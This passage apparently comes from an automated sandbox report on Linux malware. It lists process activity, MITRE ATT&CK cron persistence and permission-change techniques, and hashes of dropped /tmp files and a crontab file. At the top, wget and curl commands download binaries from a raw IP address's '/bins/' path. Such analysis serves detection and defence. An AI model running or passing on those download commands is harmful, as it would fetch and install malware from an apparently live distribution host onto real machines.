  wget http://216.126.231.240/bins/QcwSmx0CzBAolsypY79b3wf4gx1pVlubH9
  2⤵
  PID:902
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/QcwSmx0CzBAolsypY79b3wf4gx1pVlubH9
  2⤵
  - Reads runtime system information
  PID:903

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/4Tm887e6RPGcuyFWU4PMnOE7aIR3BGZX5H

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/4u3b1og04Q7OzK7O7SHzeb4dH1bHAWxtnU

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/Cu0ZKdwLtzSmgE51j7nago8Cl55YWU0e7h

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/ECy8y1yWsJR4U6VjPMB8fQ3KHn3hvDJcL8

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/GnRbaSJzqV4rn4uPmuZqtrJ6gwyKJUZevm

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/JBIPEzxRM32cbmZB08amHkKOq7KAZckrER

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/OLBSKYJUQ2ZkmBHE9celPzRb7IiJVACtS6

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/brtSFYiyyPyIK8TeIV7JT4blDUjku0fZK0

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/f2N5EKKCn9YSWRKSrpDfyS426Ll2GLf3w7

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/gEltia7tCLDmaaPXpW7XLyokOneGfFkAQb

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/gUwxX8VG4NyEa2Gh9F8mYsjXfRiZW8ckVR

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/lA12mXFWb8Pb5jhw55OCKgl1zSk6Rpz21a

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/lhRH9l8vaM0v9q4aPHhkZuzBBxil8EYGtX

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/var/spool/cron/crontabs/tmp.Eusl1Z

Filesize
210B

MD5
7b56d689cd0c8e2f621026ccce8c7908

SHA1
66b55000dec91f3001003563df85bdb93f90e53b

SHA256
be99d066a1287cc980246cb4e0f7428190c3b24e996a8a02f67e40585fa1f593

SHA512
f30d4f3c95c5067010c10b7db9cdaa26a8872bed2b46755128439f3b50e3761e316a0661a8f79e26bde176b804a7086cdb421759cf9b2ebe73a05f9713ec87c6

Download Submit